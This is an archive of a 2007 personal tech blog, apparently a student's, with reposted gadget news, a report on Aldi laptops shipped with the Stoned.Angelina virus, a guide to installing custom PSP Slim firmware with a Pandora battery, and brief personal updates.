But it was a year that also saw the arrival of a boot sector computer virus known as Stoned.Angelina which moved the original master boot record to cylinder 0, head 0, sector 9.It would appear that this teenage virus has not yet been consigned to the history books.

According to Virus Bulletin, the consignment of infected Medion laptops – which could number anything up to 100,000 shipments – had been sold in Danish and German branches of retail giant Aldi.The computers had been loaded with Microsoft's latest operating system Vista and
Bullguard's anti-virus software, which failed to detect and remove the malware.

Although the infection itself is harmless, Stoned.Angelina will undoubtedly have left Microsoft and Bullguard execs blushing with embarrassment about the apparent flaws in their software which allowed an ancient virus to slip through the back door.

The hot tub with a 61-inch LCD

2007-09-19T00:45:00.000+05:30

(Credit: HGTV)

This can safely be categorized as one of those only-in-California items because 1) it requires a hot tub, 2) there's a huge TV involved and 3) it's absolutely ridiculous. Making it even richer, there's competition between two appropriately named companies: CalSpas and Catalina Spas.

The first purveyor was featured awhile back with a 42-inch plasma that rises automatically from the side of the tub. But now we're treated to a competing four-seater from Catalina Spas that boasts--get this--a 61-inch LCD HDTV, according to BornRich. (Both of which dwarf the puny screens we've written about in previous "media spa" items. by the way.)

Which begs a couple of obvious questions, of course. If you had the means to purchase something this absurd, wouldn't you want more than four seats? And wouldn't you go blind from watching a screen this size with your nose just inches away, pina colada in hand?

How to install CFW 3.60M33 on the PSP Slim

2007-09-19T00:10:00.000+05:30

NOTICE:
I TAKE NO RESPONSIBILITY FOR ANY DAMAGE OR 'BRICKING' THIS GUIDE MIGHT DO TO YOUR PSP, BATTERY, MEMORY STICK, PC

Requirements:

1-A normal (fat) psp running custom firmware or the original 1.5 firmware.
2-A battery that is compatible with Pandora( see my compatibility thread) http://www.pspmod.com/forums/firmwar...lity-list.html (Pandora's Batery Compatibility list)
3-Memory Stick Pro duo, (MS Duo's won't work, so the stock 32 mb card won't work). Any other card, 64mb up to 4mb will work.
4- AC Adapter
5- A slim 3.60 PSP. duh

FILES YOU NEED:

- 3.60M33 Custom Firmware: File Details-M33-PSP-Slim-Custom-Firmware-3.60-PSP -
- Download Official 3.40 and 3.50 Updates here: PSP Downloads | and here: PSP Downloads |

INSTALLATION:

Use this guide to create a Pandora's Battery and Magic Memory stick: Tutorial: How to unbrick your PSP via Pandora Battery - PlayStation Portable News - PSP Updates
Once you have a funcional Pandora's Battery and Magic Memory stick ( the FAT psp boots into service mode when you insert the battery with the memory stick already inserted.)
Extract the 3.60M33 Custom firmware archive.
Run the fat psp with the Magic MS inserted but WITH A NORMAL BATTERY.
Select USB mode on the fat psp and from inside the archive you just extracted copy pandora_slim and pandora_slim% to PSP/GAME, or if your 1.5kernel is set to game150, PSP/GAME150 (by default it is set to PSP/GAME, but you can check in Recoverymode->Configuration->1.5kernel folder)
Extract "EBOOT.PBP" from the 3.40 and 3.50 update packages you downloaded and rename them "340.PBP" and "350.PBP", then copy them to the "pandora_slim" folder you just copied to the PSP.
Run the program you just copied on the fat PSP (pandora-slim creater).
Insert the Magic Memory stick and then the pandora battery into the slim. The green light will turn on, but the screen will not, THIS IS NORMAL: DO NOT PRESS ANY BUTTONS
To install press X, ONCE. Wait until the green battery light turns off. this should only take a few seconds, as you are only copying a few custom prxes and team m33's custom ipl.
Break open a beer and pat yourself on the back: you slim psp is now homebrew compatible!!

Other Stuff

There is no permanent unbricker for the psp slim, only the usual recovery mode, so be careful when you mess in the flash.
Not all homebrew will work as the 1.5 kernel can not run on the PSP

VIDEO: PSP "Pandora" Battery in action

2007-09-18T23:07:00.000+05:30

We're pretty sure that you guys are having a grand time with the newly-released unbricker for all PlayStation Portables from the heaven-sent homebrew developers Noobz team and Team C+D. We're all as surprised as you probably were with the early release, especially since it was only yesterday that Fanjita announced such a concept exists.
Anyway, the Pandora Battery has been unleashed and we all soon don't have to worry about replacing our bricked PSPs. If you've seen our earlier coverage on this one, though, the process involved in making this possible requires some technical knowledge as one has to convert a normal PSP battery into a jigkick one.

As much as the devs released a complete and exhaustive Readme.txt file with the program, we figured that some of you may still have some problems following the instructions. So here's a video clip from user FreePlay showing how to unbrick your PSP units. Have fun!

Lava lamp is our kind of phone charm

2007-09-18T20:02:00.001+05:30

(Credit: ThinkGeek)

We've never quite understood the appeal of mobile phone straps and charms, but maybe that's just another sign of our advanced age. But now we've finally come across a trinket that we can relate to: a mini-lava lamp.

And this isn't just any lava-lamp charm, according to Popgadget, but one that lights up when you get a call. The "Astro Light" from British designer Mathmos is also available as a bulb, but it's the lava lamp that holds a special place in our heart. The only other icon that would be more appropriate from our misspent youth would be a bong.

Keyboard reads your handwriting

2007-09-18T19:14:00.001+05:30

We wish we had more information on this keyboard--in fact, we'd settle for just about any information on it. As far as we can tell from its product listing, this is a USB keyboard equipped for handwriting recognition with a built-in touch screen and stylus.

(Credit: DealExtreme)
It's described as an "identity" feature, which implies that the handwriting would be used for security, but it could also just be used to read foreign language characters or custom symbols, not unlike a Chinese-made mouse that we saw earlier this year. What we do know is that it's marketed by a company called A1Pro and is selling for only $25.48 (with free shipping). It's also black. And we saw it on a Web site.

We wish we had more information

The $100 laptop now the $188 laptop

2007-09-17T18:25:00.000+05:30

Leaders of the non-profit One Laptop Per Child that was spun out of Massachusetts Institute of Technology have acknowledged that the devices are now slated to cost $188 when mass production begins this fall. The last announced price was $176 and $100 was touted as a long-term goal. Spokesman George Snell blamed the latest increase on a variety of factors, including currency fluctuations and rising costs of such components as nickel and silicon. He said the project was committed to keeping the price from rising above $190. The laptops are being made by Taiwan's Quanta Computer Incorporated, the world's leading manufacturer of portable computers.

One Laptop Per Child says it has commitments for at least 3 million of its rugged "XO" computers; among the nations that have shown interest are Brazil, Libya, Thailand and Uruguay. While less than $200 for an innovative, wireless-enabled, hand-powered laptop is a relative bargain, a price nearly twice than what was promised could make it harder for OLPC to sign up international governments as customers. Those governments are expected to give the computers to children for them to keep and tinker with, which the project's founders believe will cause critical thinking and creativity to blossom.

CD shoe player for the lazy runner

2007-09-17T18:22:00.002+05:30

(Credit: Guzer)

Perhaps you like the idea of an iPod Nike or even the "Code M" musical shoe. There's just one problem: Both require physical exertion. There may be a compromise in this idea for a sound shoe, which envisions a built-in CD player and speakers, as well as a volume knob and other controls on the side, according to Slippery Brick. Given that it's only a concept, we're curious why an MP3 player wasn't included--and a beer tap, for that matter.

Never knock another LCD off the desk

2007-09-17T18:16:00.001+05:30

(Credit: Brookstone)

Here's something that makes especially good sense whether you live in a cramped studio apartment or a mansion in earthquake country.

The LCD desk mount saves space and will make sure you never break another computer monitor--at least not by knocking it onto the floor, accidentally or otherwise. The device is affixed to the edge of a desk or even to the lip of those unsightly holes left for cables and wires. The biggest plus of all, as far as we're concerned, is that it supposedly requires no tools.

The mount, which can handle screens up to 24 inches and weighing up to 20 pounds, also tilts and swivels easily to accommodate difficult configurations. The real test, however, will come the next time we feel like throwing our computer out the window.

'Tailgating Trailer' for the ultimate gamer

2007-09-17T18:12:00.000+05:30

With football season in full swing we're witnessing the annual migration of that heartiest of parking-lot breeds, the tailgaters. Little did we know, however, that their work has been elevated to an art form.

(Credit: Gameday Customs)

While amateurs toil with such tools as MP3 coolers and barbecues, an elite corps will be rolling out the "Tailgating Trailer"--a self-contained portable party apparatus that includes "a 27-inch LCD TV, satellite, DVD, generator, propane grill, hand-washing sink with running water, beer on tap and even a toilet," according to BornRich. (Microwave is optional.)

As much as we admire its ambition, the ridiculous price of this rumpus room on wheels make us wonder about one thing. If you had $13,900 to burn on one of these contraptions, wouldn't you rather get a catered luxury box instead?

iPhone unlocked!

2007-09-16T23:52:00.000+05:30

The iPhone is finally unlocked, the unlock app. is a freeware too. Thanks to the guys at hackint0sh.org , After hardware unlocking, manual unlock, finally a GUI app is out. Find more info here at the dev team forum itself.

Vector Resultant program

2007-09-16T23:01:00.000+05:30

Hey i have just developed a C++ program after a long time. The idea of this was given by Dr. Jawahar in civil engineering class. The version 1.0 is out now, i know the graphics are not good but still give you an impression what can be achieved. Here is the download link with source code included - Download Now . Please do report bugs and suggestions at my email- aakash attherate live dot com .

now in college

2007-09-16T14:58:00.000+05:30

hey, i am in college now. Doing my BE in I.S. from PES SE , Bangalore. I can update the blog more freq. now...

hey

2007-01-21T22:05:00.000+05:30

hey this is my new blog.. will update laters as exams now